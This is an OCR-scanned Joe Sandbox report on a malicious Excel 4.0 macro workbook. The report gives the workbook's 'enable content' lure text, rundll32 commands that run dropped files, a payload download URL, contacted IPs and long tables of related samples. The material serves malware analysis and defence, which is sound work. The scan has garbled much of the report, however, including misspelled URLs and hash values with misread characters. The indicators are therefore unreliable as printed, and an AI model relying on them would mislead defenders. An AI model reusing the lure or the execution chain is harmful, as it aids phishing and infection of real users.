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Analysis Report 91476525608-04012021.xIsm

Overview
General Information Detection Signatures Classification
Sample 91476525608-
Name: 04012021 xlsm MALICIOUS Antivirus detection for URL or. domain
Analysis ID: 380316 Found malicious Excel 4.0 Macro
MDS: 8d0244666daf46. Office document tries to convince vi...
SHA1L:
8c5f71752b0ceal. Document exploit detected (UrlDown...

SHA256: 196668480754{95. "

Document exploit detected (process...
Tags:

Found Excel 4.0 Macro with suspicio...
nfos: Bt s EY :

. . Sigma detected: Microsoft Office Pr...
Most interesting Screenshot:

Document containsianiembedded VB: .

Hidden Mac Document containsiembedded VBA ...
Score: 80 |IP'addressiseeniiniconnection withio:.:
Range: 0-100 Potential/decument exploit detected.:
Whitelisted: false

X Potential/decument exploit detected.:
Confidence: 100%

- o ar i

Startup

= System is w7x64

. EXCEL.EXE (PID: 2284 cmdline: 'C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding MD5: 5FBOAOF93382ECD19F5F499A5CAA59F0)
. D rundll32.exe (PID: 1100 cmdline: rundll32 ..\Hodas.vyur,Plugininit MD5: DD81D91FF3B0763C392422865C9AC12E)
. D rundll32.exe (PID: 1664 cmdline: rundll32 ..\Hodas.vyurl,Plugininit MD5: DD81D91FF3B0763C392422865C9AC12E)
. D rundll32.exe (PID: 2312 cmdline: rundll32 ..\Hodas.vyur2,Plugininit MD5: DD81D91FF3B0763C392422865C9AC12E)

= cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

Signature Overview
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Click to jump to signature section

AV Detection:

@ AV Detection
® Compliance
@ Software Vulnerabilities

@ Networking

@ System Summary
@ Hooking and other Techniques for Hiding and Protection

Antivirus detection for URL or domain

Software Vulnerabilities:

System Summary:

Found malicious Excel 4.0 Macro

Mitre Att&ck Matrix

Initial Privilege  Defense
Access Execution Persistence Escalation Evasion
Valid Scripting Path Process Masquerading
Accounts Interception  Injection
Default  Exploitation for Boot or Boot or Disable or Modify
Accounts Client Logon Logon Tools
Execution Initialization  Initialization
Scripts Scripts
Domain At (Linux) Logon Script Logon RundlI32
Accounts (Windows)  Script
(Windows)
Local At (Windows)  Logon Script Logon Process
Accounts (Mac) Script Injection
(Mac)
Cloud Cron Network Network Scripting
Accounts Logon Script Logon
Script

Behavior Graph
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Behavior Graph
ID: 380316
Sample: 91476525608-04012021.xIsm
Startdate: 01/04/2021 CLEAN
Architecture:  WINDOWS UNKNOWN
Score: 80

- - - -\ e

195.123.210.186, 49168, 80

ITL-LV

Bulgaria

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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91476525608-04012021 - Microsoft Excel - 91476525608-04012021 o @ o®
Home | Inset  Pagelayout  Formulas Data Review  View 2@ o @ =

N = = ) 7 T Tk M
Calibri 1A = S Wrap Text General e ijg‘ ﬁjﬁ ;ﬂ jm = - j::lujsum )i? \?&
B I U-|i- = BiMergeacenter~ § v % » | %8 93 Conditional Format Cell | Insert Delete Format Sort& Find &
# Format Painter = s = . ® =9 Formatting - as Table - Styles= | ~ - - d2Cear~  Fier~ Select-

Clipboard 5 Font 5 Alignment ) Humber 5 Styles Cells Editing

53 Copy ~

For viewing/editing, perform the following steps:

* Click Enable editing button from the yellow bar above
* Once you have enabled editing, please click Enable Content button from the yellow bar above

ﬁ%

W 4 » M| Sheet Sheetl ~¥J :
= |[EEm 100% =

P= " T
_&Q OIS ||

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

91476525608-04012021.xIsm 2% ReversingLabs Document-
Office.Trojan.Heuristic

Dropped Files

No Antivirus matches
Unpacked PE Files
No Antivirus matches
Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
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Source Detection Scanner Label Link

hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
o sssaomesessswwzad G AwURCed maae
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
o monsmemsszess G ARG maee
http://45.150.67.243/44285,5327891204.dat 0% Avira URL Cloud  safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name Malicious Antivirus Detection Reputation

[ (S e (TR
[ N e T T

hitp://45.150.67.243/44285,5327891204.dat false e Avira URL Cloud: safe unknown

URLs from Memory and Binaries

Name Source Malicious Antivirus Detection Reputation
hitp://services.msn.com/svcs/oe/certpage.asp? rundlI32.exe, 00000003.0000000 false high
name=%s&email=%s&&Check 2.2102626617.0000000001D17000.

00000002.00000001.sdmp, rundll32.exe,
00000004.00000002.2098708455.000
0000001E37000.00000002.0000000
1.sdmp, rundlI32.exe, 00000005
.00000002.2092605284.000000000
1D97000.00000002.00000001.sdmp

hitp:/f/www.windows.com/pctv. rundlI32.exe, 00000005.0000000 false high
2.2092405392.0000000001BB0000.
00000002.00000001.sdmp

hitp://investor.msn.com rundlI32.exe, 00000003.0000000 false high

2.2101536953.0000000001B30000.
00000002.00000001.sdmp, rundll32.exe,
00000004.00000002.2098502758.000
0000001C50000.00000002.0000000
1.sdmp, rundlI32.exe, 00000005
.00000002.2092405392.000000000
1BB0000.00000002.00000001.sdmp

hitp://www.msnbc.com/news/ticker.txt rundlI32.exe, 00000003.0000000 false high
2.2101536953.0000000001B30000.
00000002.00000001.sdmp, rundll32.exe,
00000004.00000002.2098502758.000
0000001C50000.00000002.0000000
1.sdmp, rundlI32.exe, 00000005
.00000002.2092405392.000000000
1BB0000.00000002.00000001.sdmp

hitp://iwww.icra.org/vocabulary/. rundlI32.exe, 00000003.0000000 false e URL Reputation: safe unknown
2.2102626617.0000000001D17000. e URL Reputation: safe
00000002.00000001.sdmp, rundll32.exe, e URL Reputation: safe
00000004.00000002.2098708455.000 e URL Reputation: safe
0000001E37000.00000002.0000000
1.sdmp, rundlI32.exe, 00000005
.00000002.2092605284.000000000
1D97000.00000002.00000001.sdmp

hitp://iwindowsmedia.com/redir/services.asp? rundlI32.exe, 00000003.0000000 false e URL Reputation: safe unknown

WMPFriendly=true 2.2102626617.0000000001D17000. e URL Reputation: safe
00000002.00000001.sdmp, rundll32.exe, e URL Reputation: safe
00000004.00000002.2098708455.000 e URL Reputation: safe

0000001E37000.00000002.0000000
1.sdmp, rundlI32.exe, 00000005
.00000002.2092605284.000000000
1D97000.00000002.00000001.sdmp
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Name Source Malicious Antivirus Detection Reputation
hitp:/fiwww.hotmail.com/oe rundlI32.exe, 00000003.0000000 false high
2.2101536953.0000000001B30000.
00000002.00000001.sdmp, rundl32.exe,
00000004.00000002.2098502758.000
0000001C50000.00000002.0000000
1.sdmp, rundli32.exe, 00000005
.00000002.2092405392.000000000
1BB0000.00000002.00000001.sdmp
hitp://investor.msn.com/ rundlI32.exe, 00000003.0000000 false high
2.2101536953.0000000001B30000.
00000002.00000001.sdmp, rundl32.exe,
00000004.00000002.2098502758.000
0000001C50000.00000002.0000000
1.sdmp, rundli32.exe, 00000005
.00000002.2092405392.000000000
1BB0000.00000002.00000001.sdmp
Contacted IPs
»
l..
] No. of IPs < 25%
B 25% < No. of IPs < 50% /)'
B 50% < No. of IPs < 75%
Bl 75% < No. of IPs
Public
P Domain Country Flag ASN ASN Name Malicious
195.123.210.186 unknown Bulgaria ] 50979 ITL-LV false
45.150.67.243 unknown Montenegro ] 61317 ASDETUKhttpwwwheficedco false
mGB
91.211.89.28 unknown Ukraine = 206638 HOSTFORYUA false

General Information

Joe Sandbox Version:

31.0.0 Emerald

Analysis ID: 380316
Start date: 01.04.2021
Start time: 21:44:37
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 5m 34s
Hypervisor based Inspection enabled: false
Report type: light

Copyright Joe Security LLC 2021
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Sample file name:
Cookbook file name:

Analysis system description:

Run name:

Number of analysed new started processes analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:
HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

No simulations

Joe Sandbox View | Context

IPs

Match Associated Sample Name /| URL

195.123.210.186

Copyright Joe Security LLC 2021

91476525608-04012021.XIsm
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

Without Instrumentation

8
0
0
0
0

o HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default

Timeout

MAL
mal80.expl.evad.winXLSM@7/7@0/3
Failed

Failed

e Successful, ratio: 100%
o Number of executed functions: 0
« Number of non-executed functions: 0

e Adjust boot time

e Enable AMSI

Found application associated with file extension:
Xlsm

Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog

Click Ok

Attach to Office via COM

Scroll down

Close Viewer

Show All
o Exclude process from analysis (whitelisted):
dllhost.exe, svchost.exe

Detection Link Context

malicious Browse e 195.123.2

10.186/442
85,5327891
204.dat

malicious Browse e 195.123.2

10.186/442
85,5327891
204.dat

malicious Browse e 195.123.2

10.186/442
85,5327891
204.dat

malicious Browse e 195.123.2

10.186/442
85,5327891
204.dat
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https://view.joesandbox.com/analysis/288400/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288400/html/none?idtype=webid
https://view.joesandbox.com/analysis/288394/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288394/html/none?idtype=webid
https://view.joesandbox.com/analysis/288390/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288390/html/none?idtype=webid
https://view.joesandbox.com/analysis/288358/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288358/html/none?idtype=webid

Match

45.150.67.243

Copyright Joe Security LLC 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

195.123.2
10.186/442
85,5327891
204.dat

195.123.2
10.186/442
85,5327891
204.dat

195.123.2
10.186/442
85,5327891
204.dat

195.123.2
10.186/442
85,5327891
204.dat

195.123.2
10.186/442
85,5327891
204.dat

195.123.2
10.186/442
85,5327891
204.dat

195.123.2
10.186/442
85,5327891
204.dat

195.123.2
10.186/442
85,5327891
204.dat

195.123.2
10.186/442
85,5327891
204.dat

195.123.2
10.186/442
85,5327891
204.dat

195.123.2
10.186/442
85,5327891
204.dat

195.123.2
10.186/442
85,5327891
204.dat

195.123.2
10.186/442
85,5327891
204.dat

195.123.2
10.186/442
85,5327891
204.dat

195.123.2
10.186/442
85,5327891
204.dat

195.123.2
10.186/442
85,5327891
204.dat

45.150.67
.243/44285
,5632789120
4.dat

45.150.67
.243/44285
,5632789120
4.dat

45.150.67
.243/44285
,5632789120
4.dat

45.150.67
.243/44285
,5632789120
4.dat
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https://view.joesandbox.com/analysis/288352/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288352/html/none?idtype=webid
https://view.joesandbox.com/analysis/288349/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288349/html/none?idtype=webid
https://view.joesandbox.com/analysis/288347/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288347/html/none?idtype=webid
https://view.joesandbox.com/analysis/288342/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288342/html/none?idtype=webid
https://view.joesandbox.com/analysis/288335/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288335/html/none?idtype=webid
https://view.joesandbox.com/analysis/288310/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288310/html/none?idtype=webid
https://view.joesandbox.com/analysis/288309/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288309/html/none?idtype=webid
https://view.joesandbox.com/analysis/288307/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288307/html/none?idtype=webid
https://view.joesandbox.com/analysis/288305/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288305/html/none?idtype=webid
https://view.joesandbox.com/analysis/288302/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288302/html/none?idtype=webid
https://view.joesandbox.com/analysis/288294/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288294/html/none?idtype=webid
https://view.joesandbox.com/analysis/288292/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288292/html/none?idtype=webid
https://view.joesandbox.com/analysis/288286/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288286/html/none?idtype=webid
https://view.joesandbox.com/analysis/288279/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288279/html/none?idtype=webid
https://view.joesandbox.com/analysis/288274/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288274/html/none?idtype=webid
https://view.joesandbox.com/analysis/288270/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288270/html/none?idtype=webid
https://view.joesandbox.com/analysis/288400/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288400/html/none?idtype=webid
https://view.joesandbox.com/analysis/288394/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288394/html/none?idtype=webid
https://view.joesandbox.com/analysis/288390/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288390/html/none?idtype=webid
https://view.joesandbox.com/analysis/288358/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288358/html/none?idtype=webid

Match

Domains

No context

ASN

Match
HOSTFORYUA
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Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse

Browse

Browse

Context

45.150.67
.243/44285
,5632789120
4.dat

45.150.67
.243/44285
,5632789120
4.dat

45.150.67
.243/44285
,5632789120
4.dat

45.150.67
.243/44285
,5632789120
4.dat

45.150.67
.243/44285
,5632789120
4.dat

45.150.67
.243/44285
,5632789120
4.dat

45.150.67
.243/44285
,5632789120
4.dat

45.150.67
.243/44285
,5632789120
4.dat

45.150.67
.243/44285
,5632789120
4.dat

45.150.67
.243/44285
,5632789120
4.dat

45.150.67
.243/44285
,5632789120
4.dat

45.150.67
.243/44285
,5632789120
4.dat

45.150.67
.243/44285
,5632789120
4.dat

45.150.67
.243/44285
,5632789120
4.dat

45.150.67
.243/44285
,5632789120
4.dat

45.150.67
.243/44285
,5632789120
4.dat

Context

91.211.89.28
91.211.91.69
91.211.91.69
91.211.89.28

91.211.91.69
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https://view.joesandbox.com/analysis/288352/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288352/html/none?idtype=webid
https://view.joesandbox.com/analysis/288349/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288349/html/none?idtype=webid
https://view.joesandbox.com/analysis/288347/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288347/html/none?idtype=webid
https://view.joesandbox.com/analysis/288342/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288342/html/none?idtype=webid
https://view.joesandbox.com/analysis/288335/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288335/html/none?idtype=webid
https://view.joesandbox.com/analysis/288310/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288310/html/none?idtype=webid
https://view.joesandbox.com/analysis/288309/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288309/html/none?idtype=webid
https://view.joesandbox.com/analysis/288307/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288307/html/none?idtype=webid
https://view.joesandbox.com/analysis/288305/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288305/html/none?idtype=webid
https://view.joesandbox.com/analysis/288302/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288302/html/none?idtype=webid
https://view.joesandbox.com/analysis/288294/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288294/html/none?idtype=webid
https://view.joesandbox.com/analysis/288292/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288292/html/none?idtype=webid
https://view.joesandbox.com/analysis/288286/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288286/html/none?idtype=webid
https://view.joesandbox.com/analysis/288279/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288279/html/none?idtype=webid
https://view.joesandbox.com/analysis/288274/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288274/html/none?idtype=webid
https://view.joesandbox.com/analysis/288270/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288270/html/none?idtype=webid
https://view.joesandbox.com/analysis/288400/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288400/html/none?idtype=webid
https://view.joesandbox.com/analysis/288399/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288399/html/none?idtype=webid
https://view.joesandbox.com/analysis/288397/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288397/html/none?idtype=webid
https://view.joesandbox.com/analysis/288394/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288394/html/none?idtype=webid
https://view.joesandbox.com/analysis/288393/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288393/html/none?idtype=webid

Match

ITL-LV

ASDETUKnhttpwwwheficedcomGB

Copyright Joe Security LLC 2021

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

>
»
]
=]
o,
2
@
o
[72]
o
3
=2
@
2
o
3
@
c
A
[

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

91.211.91.69
91.211.89.28
91.211.91.69
91.211.91.69
91.211.91.69
91.211.89.28
91.211.91.69
91.211.91.69
91.211.89.28
91.211.91.69
91.211.89.28
91.211.89.28
91.211.91.69
91.211.91.69
91.211.89.28

195.123.21
0.186

195.123.21
0.248

195.123.21
0.248

195.123.21
0.186

195.123.21
0.248

195.123.21
0.248

195.123.21
0.186

195.123.21
0.248

195.123.21
0.248

195.123.21
0.248

195.123.21
0.186

195.123.21
0.248

195.123.21
0.248

195.123.21
0.186

195.123.21
0.248
195.123.21
0.186

195.123.21
0.186

195.123.21
0.248

195.123.21
0.248

195.123.21
0.186

45.150.67.243
45.150.67.244
45.150.67.244
45.150.67.243
45.150.67.244
45.150.67.244
45.150.67.243
45.150.67.244
45.150.67.244
45.150.67.244
45.150.67.243
45.150.67.244
45.150.67.244
45.150.67.243
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https://view.joesandbox.com/analysis/288392/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288392/html/none?idtype=webid
https://view.joesandbox.com/analysis/288390/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288390/html/none?idtype=webid
https://view.joesandbox.com/analysis/288371/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288371/html/none?idtype=webid
https://view.joesandbox.com/analysis/288363/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288363/html/none?idtype=webid
https://view.joesandbox.com/analysis/288361/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288361/html/none?idtype=webid
https://view.joesandbox.com/analysis/288358/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288358/html/none?idtype=webid
https://view.joesandbox.com/analysis/288357/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288357/html/none?idtype=webid
https://view.joesandbox.com/analysis/288355/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288355/html/none?idtype=webid
https://view.joesandbox.com/analysis/288352/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288352/html/none?idtype=webid
https://view.joesandbox.com/analysis/288350/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288350/html/none?idtype=webid
https://view.joesandbox.com/analysis/288349/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288349/html/none?idtype=webid
https://view.joesandbox.com/analysis/288347/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288347/html/none?idtype=webid
https://view.joesandbox.com/analysis/288346/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288346/html/none?idtype=webid
https://view.joesandbox.com/analysis/288345/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288345/html/none?idtype=webid
https://view.joesandbox.com/analysis/288342/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288342/html/none?idtype=webid
https://view.joesandbox.com/analysis/288400/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288400/html/none?idtype=webid
https://view.joesandbox.com/analysis/288399/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288399/html/none?idtype=webid
https://view.joesandbox.com/analysis/288397/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288397/html/none?idtype=webid
https://view.joesandbox.com/analysis/288394/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288394/html/none?idtype=webid
https://view.joesandbox.com/analysis/288393/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288393/html/none?idtype=webid
https://view.joesandbox.com/analysis/288392/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288392/html/none?idtype=webid
https://view.joesandbox.com/analysis/288390/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288390/html/none?idtype=webid
https://view.joesandbox.com/analysis/288371/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288371/html/none?idtype=webid
https://view.joesandbox.com/analysis/288363/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288363/html/none?idtype=webid
https://view.joesandbox.com/analysis/288361/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288361/html/none?idtype=webid
https://view.joesandbox.com/analysis/288358/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288358/html/none?idtype=webid
https://view.joesandbox.com/analysis/288357/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288357/html/none?idtype=webid
https://view.joesandbox.com/analysis/288355/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288355/html/none?idtype=webid
https://view.joesandbox.com/analysis/288352/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288352/html/none?idtype=webid
https://view.joesandbox.com/analysis/288350/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288350/html/none?idtype=webid
https://view.joesandbox.com/analysis/288349/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288349/html/none?idtype=webid
https://view.joesandbox.com/analysis/288347/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288347/html/none?idtype=webid
https://view.joesandbox.com/analysis/288346/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288346/html/none?idtype=webid
https://view.joesandbox.com/analysis/288345/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288345/html/none?idtype=webid
https://view.joesandbox.com/analysis/288342/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288342/html/none?idtype=webid
https://view.joesandbox.com/analysis/288400/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288400/html/none?idtype=webid
https://view.joesandbox.com/analysis/288399/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288399/html/none?idtype=webid
https://view.joesandbox.com/analysis/288397/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288397/html/none?idtype=webid
https://view.joesandbox.com/analysis/288394/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288394/html/none?idtype=webid
https://view.joesandbox.com/analysis/288393/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288393/html/none?idtype=webid
https://view.joesandbox.com/analysis/288392/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288392/html/none?idtype=webid
https://view.joesandbox.com/analysis/288390/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288390/html/none?idtype=webid
https://view.joesandbox.com/analysis/288371/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288371/html/none?idtype=webid
https://view.joesandbox.com/analysis/288363/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288363/html/none?idtype=webid
https://view.joesandbox.com/analysis/288361/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288361/html/none?idtype=webid
https://view.joesandbox.com/analysis/288358/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288358/html/none?idtype=webid
https://view.joesandbox.com/analysis/288357/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288357/html/none?idtype=webid
https://view.joesandbox.com/analysis/288355/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288355/html/none?idtype=webid
https://view.joesandbox.com/analysis/288352/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/288352/html/none?idtype=webid

Match Associated Sample Name /| URL SHA 256 Detection Link Context

Get hash malicious Browse e 45.150.67.244
Get hash malicious Browse e 45.150.67.243
Get hash malicious Browse e 45.150.67.243
Get hash malicious Browse e 45.150.67.244
Get hash malicious Browse e 45.150.67.244
Get hash malicious Browse e 45.150.67.243

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\F5AD18CF.gif

Process: C:\Program Files\Microsoft Office\Office l4\EXCEL.EXE

File Type: GIF image data, version 89a, 1600 x 1600

Category: dropped

Size (bytes): 158055

Entropy (8bit):  7.981278766139217

Encrypted: false

SSDEEP: 3072:4XE59b4DETZU4yvUCidynhV912A7bF8mrcLwKw55eiETTcDGq:AESSDVbXAyHbVt15wTQDI

MD5: CB67CED3017DF7803FBASD86FCEB4276

SHA1L: C7B8B4A44BDF7F7775F61FCF236A0834CB321733

SHA-256: C31F711B323EA0B1D04C7A72ECACOBBBF4DCAECC56F837FEFE754F53385D07B1

SHA-512: 1E70FD6101A50A0AEDFF22C2DB22A5FBAE063C02E6C062097A973FED663E6623BDA2FFA33B266001AB99BASAAI4SFA51C1571C553015C8F8633D68BFATF663L
1

Malicious: false

Reputation: moderate, very likely benign file

Preview:
GIF89a@.@.p..!....... . @.@........ 3fo +. 43+ 4+ ULUBUR ULV f 3o B 3ofo 3..3.33.f3..3..3..3+.3+33+{3+.3+.3+.3U.3U33U
f3U.3U.3U.3..3.33.f3..3..3..3..3.33.f3..3..3..3..3.33.f3.3..3..3..3.33.f3..3..3.f. L 3+ 4 fULFUBFURULFULTULE £ 3. AL LR 3R fLf L3R AL fLf f.30 M. f.f

+. 434+ 4.+ U U3.ULU..U.U...3.f 3. 3. 3

3.f .3 .
*L.p....J.Hg.../j.q.. 2..Ir..(O.L.r..0_.Is..=..y.M..@y.....O

Ao+3. 4+ 4+ U U3.UfU..U.U.....3.f.
Bofe 344 4.+ UUS.URU.U..U.

>...D.zhl<e..6.tm..9...Y.d.]..h.V._~ . kv-e.6..i>N.1l..C..d.n}..bM_<t.h.

C:\Users\user\AppData\Local\Temp\7FCE0000

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 177711

Entropy (8bit): 7.962744490730696

Encrypted: false

SSDEEP: 3072:3FqZjdXE59b4DETZU4yvUCidynhV912A7bF8mrcLwKw55eiETTcDGU:3QZhE5SDvbXAyHbVt15wTQD5
MD5: F80A2F4E7C0640F149C98E31384122A5

SHAL: 25420178516720A4D19C545AF6A2578A499C336C

SHA-256: 0A3FD81E8727B17592E9C2A95F5513D6AA1C75AAAB3ESA4A4FEA3C047798E480

SHA-512: 6B31B35AF315B4E18B54057C6C5B289C4E34E3E4B399A13B2060C2154163A465796E6E793A93F9B45194E04C04DDA00301C13E732E293775BDEOD813EBO7C570
Malicious: false

Reputation: low

Preview:

Un0...2.0m izl S8 wlvk. L Efjgv... fet........R.N*5....+.b.Vr. 4d...>~ > = .mIH..X.=
H.E.r.q.V.. . X.P..rZ.N.ud7w..70(.=.'7.[i.b. . fXJ. dj. .\ j. T+, (=$../4) #..0}...
